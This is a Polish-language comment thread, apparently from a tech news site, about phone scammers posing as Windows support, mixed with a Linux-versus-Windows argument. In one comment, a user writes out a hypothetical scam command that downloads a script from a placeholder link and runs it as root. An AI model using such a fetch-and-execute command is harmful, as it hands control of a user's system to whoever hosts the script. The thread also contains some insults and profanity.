            Hmmm… Chyba się z Tobą nie zgodzę. Jest bardzo duży popyt na sprzęt RTV, który się nie psuje po 3 latach. Kiedyś tak produkowano, że telewizor hulał 10 lat. Teraz często nie wytrzymuje okresu gwarancyjnego. Skoro to jest takie oczywiste, to powinno działać dla wszystko zwykłych popularnych produktów. Cóż, nie działa… Idźmy dalej. Czy ja kwestionuję wybory jakie podejmują ludzie? Nie, ja kwestionuję samo nazywanie zaistniałej sytuacji wyborem! Napisałem to bardzo wyraźnie. Ale jak widzę, najlepsze zostawiłeś na koniec 😀 Wyobraź sobie, że na rynku masz tylko komputery z kartami Radeona. Jeśli będziesz chcieć komputer z Geforcem, to kupisz to co jest, wywalisz Radeona i będziesz wpinał to co chcesz? Nie powiesz mi chyba, że jesteś kolejną osobą, której wydaje się, że Windows jest dodawany za darmo do komputerów? 😛

          63. Qu84 pisze:

            To o tym sprzęcie RTV to twoje prywatne teorie czy coś co możesz poprzeć faktami/liczbami? Ja np. ze swoim sprzętem mam inne doświadczenia. Microsoft też, skoro został zmuszony przez konsumentów do przedłużenia gwarancji do 3 lat z powodu awaryjności swojej konsoli Xbox 360 i do zmian konstrukcyjnych, które miały tym awariom zapobiegać.
            Co do kwestii wyboru…nie widzę nic co przeszkadzałoby mi przesiąść się na Linuksa gdybym miał taką ochotę/potrzebę. Nie porównuj sytuacji Linuks vs. Windows do Geforce vs. Radeon. Zwłaszcza, że alternatywa, o której tu mówimy jest darmowa i wymaga w zasadzie tylko włożenia płytki z instalką do napędu. Fakt, że byłeś "zmuszony" do zapłacenia za coś czego nie chciałeś (czyli w tym wypadku Windowsa) nie sprawia, że jesteś zmuszony do korzystania z tego czegoś. Kupiłem laptopa z Windowsem, bo innego nie było. Wywaliłem go. Zainstalowałem darmowe i lepsze Ubuntu. Po sprawie. Mam wybór? Mam.

          64. Druedain pisze:

            Mój tata od jakiś 20 lat prowadzi niezależny warsztat RTV, więc jest naocznym świadkiem jak syf wypiera konstrukcje trwalsze. A jeśli dla Ciebie 3 lata to jest bardzo dużo, to ja Ci powiem, że ja mam sporo sprzętu, który po 10 latach jest jak nowy, a koszt naprawy popularnych usterek nadal sprawia, że opłaca się ten sprzęt naprawiać. Teraz jest to praktycznie niemożliwe. Wszystko ma oczywiście swoje wytłumaczenie: trzeba napędzać koniunkturę. Ceny podzespołów czasem stanowią połowę ceny samego sprzętu, więc po awarii ludzie są zmuszania kupować znów nowy sprzęt.

            Ja tutaj piszę o pieniądzach, nie o chęci, czy sposobie wymiany sprzętu. Jeśli Ci na pieniądzach nie zależy, to, zamiast bawić się w takie sztuczki, następnym razem przekaż je na Czerwony Krzyż, albo Wikipedię. Może tym razem będzie to uzasadniony wydatek.

          65. Qu84 pisze:

            Pozwól, ze moimi pieniędzmi będę dysponował sam.
            A mowa, z tego co pamiętam, jest o możliwościach, wyborze i tym, że większość z jakiegoś powodu wybiera system operacyjny Microsoftu. Ty twierdzisz, że (jak zrozumiałem) nie mają innych możliwości, z powodu spisku albo własnej głupoty. Ja twierdzę, że po prostu robia to, bo chcą.

          66. Druedain pisze:

            Nie, to ty pozwól, mi że będę protestować jak mi się nie pozwala dysponować moimi pieniędzmi wedle mojego uznania i prawo prawem, a ja mam napychać kieszenie sprzedawcy kupując od niego Windowsa, którego on wspaniałomyślnie kupił od MS (czy pośrednika).

            Owszem, robią to co chcą, ale ty nadal nie odpowiadasz sobie na pytanie czemu chcą. Jak będziesz dostawał na obiad całe życie tylko chleb to też będziesz chciał chleb, a nie spaghetti, o którego istnieniu się nie dowiesz, bo w domu, czy w szkole, z lenistwa nikt Ci nie powie, że na chlebie świat się nie kończy.

        2. pitt66 pisze:

          W kontekscie tego newsa, to w sumie 'gupoty' piszesz. Rownie dobrze moga zadzwonic do kogos kto ma linuxa zeby kliknal na terminal i wpisal: sudo wget http://tinyuerel/fixpack -o /tmp/a && sh /tmp/a.
          Ale powiesz, ze uzytkownicy linuxa to od razu sie kapna, oczywiscie, ze tak, bo niewiele nie-technicznych ludzi (informatykow, programistow, adminow, gadzeciarzy, geekow) instaluje linuxa.

    1. Goście którzy wpadli na ten pomysł byli zwolennikami, fanatykami open source. Wyszli z założenia, że każdy podsiadacz komputwera to frajer i należy go skroić.

      1. Po tym co potrafią i co mówią, to raczej są oddanymi zwolennikami windowsa i na tym etapie zatrzymali się w rozwoju.

        1. Uważają się za lepszych i ssą rasę niższą 😉 – typowi linuksiarze.

          Po za tym oszustwo jest usługą więc zarabiają w duchu open source.

          1. Żałosny jesteś. Ale to chyba już wiesz…

          2. pow3rshell pisze:

            Standardowy tekst gdy argumentów brak

  6. herr pisze:

    No cóż. Dwie dekady prania mózgu w wykonaniu firm antywirusowych widocznie zrobiło swoje. Im paranoja na punkcie zagrożeń komputerowych jest na rękę i nie wiele ich odróżnia od tych scammerów.

  7. lukasz pisze:

    Do mnie zadzwonili tacy z bardzo, za przeproszeniem, hinduskim-brytyjskim akcentem.

    Transkrypcja (z glowy) (oryginał prowadzono po angielsku)
    (Ja)- Hello ?
    (On) – Hello, czy ma pan w domu komputer ?
    (Ja) – (myślałem na początku że może to support bo mój komputer ma 3 miesiace) Owszem a o co chodzi ?
    (On) – Czy jest włączony ?
    (Ja) – [kurczę, może mój dostawca internetu wykrywa jakis atak na moj komputer i chcą mie powiadomić, a to miłe] – Chyba jest [akurat był] Ale o co chodzi ?
    (On) – Pana komputer może mieć malware [ o kurczę, czy ja zostawiłem frostwire włączone… nie. hmm to ściema]
    (Ja) – Jakie malware ?
    (On) – Proszę podjeśc do komputera i nacisnąć dwa klawisze to Panu powiem…
    [akurat miałem tylko telefon na drucie (zepsuła mi się słuchawka bezprzewodowa) a telefon jest 10m od komputera, to musi być jakaś ściema, ale jeśli poda mi poprawnie choć nazwę mojego dostawcy…]
    (Ja) – A u którego dostawcy internetu Pan pracuje ?
    (On) – Ja dzwonię z Windows…
    Dalszy ciąg rozmowy polegał generalnie na tym że /bardzo/ dyplomatycznie odmówiłem (uważając żeby nie powiedzieć zbyt wyraźnie 'tak' przez telefon bo jak w Polsce potrafią to wykorzystać to tu pewnie też).
    W Polsce nazywali to chyba 'rumuńskim' wirusem …

    1. "Ja dzwonię z Windows"
      ROTFL 😀
      To na JM się nadaje :).

  8. Lekki_Linux_blog pisze:

    eee, tam do mnie co chwilę dzwonią tacy dziwni ludzie i coś wkręcają…

    …byle człowieka wy****ć z kasy

    …najwięksi upierdliwcy to Orange, Telefonia Dialog, ING Bank

    szok i horror szoł, za Chiny Ludowe nie da się od nich uwolnić

    1. Wyłącz połączenia z nieznanych numerów (w Playu można).

      Niektórych natrętów można zablokować w telefonie (o ile ma się Androida a nie zabawki od apple czy microsoftu) i przekierowywani są na pocztę głosową.

      Do reszty "pojedynczych przypadków" mówisz grzecznie "spierdalaj" i się rozłączasz. W przeciwnym razie za tydzień znowu zadzwonią.

      1. Druedain pisze:

        O jacie, to ty nie masz telefonu z postawionym Debianem, który obsługujesz z linii komend??? NIE JESTEŚ TRUE!!!

        1. Nie. mam Androida i drugi z CyanogenMod. Debian też był tam przez chwilę, ale za stary telefon na takie zabawy: http://dev2.pdaclub.pl/index.php?topic=154898.msg…
          Terminal (z opcją roota) w CyanogenMod masz w standardzie, więc jak bardzo chcesz, możesz z linii komend obsługiwać.

        2. A Ty nie wiesz, że pisze się "TRÓ" a nie "TRUE" 😛

    2. Robert pisze:

      Jest prosty sposób. Prosisz, aby taka osoba poczekała na linii. Kładziesz telefon i patrzysz, jak w TakTaku za każde dwie minuty przychodzące dostajesz jedną. U mnie najwytrwalsi potrafili czekać kilka minut. Niestety, po kilku takich numerach chyba mnie już oznaczyli w swoich bazach i przestali dzwonić.

  9. _asd pisze:

    Do Redakcji – mam tu problem – kiedy oglądam komentarze z włączonym NoScriptem w FF8.0 to widzę wszystkie komentarze, kiedy zezwalam na załadowanie intensedebate i wordpressa, część komentarzy jest niewidoczna np. moj z 11grudnia godz. 2.00.

{"email":"Email address invalid","url":"Website address invalid","required":"Required field missing"}

Newsletter OSnews raz w tygodniu. Bez reklam.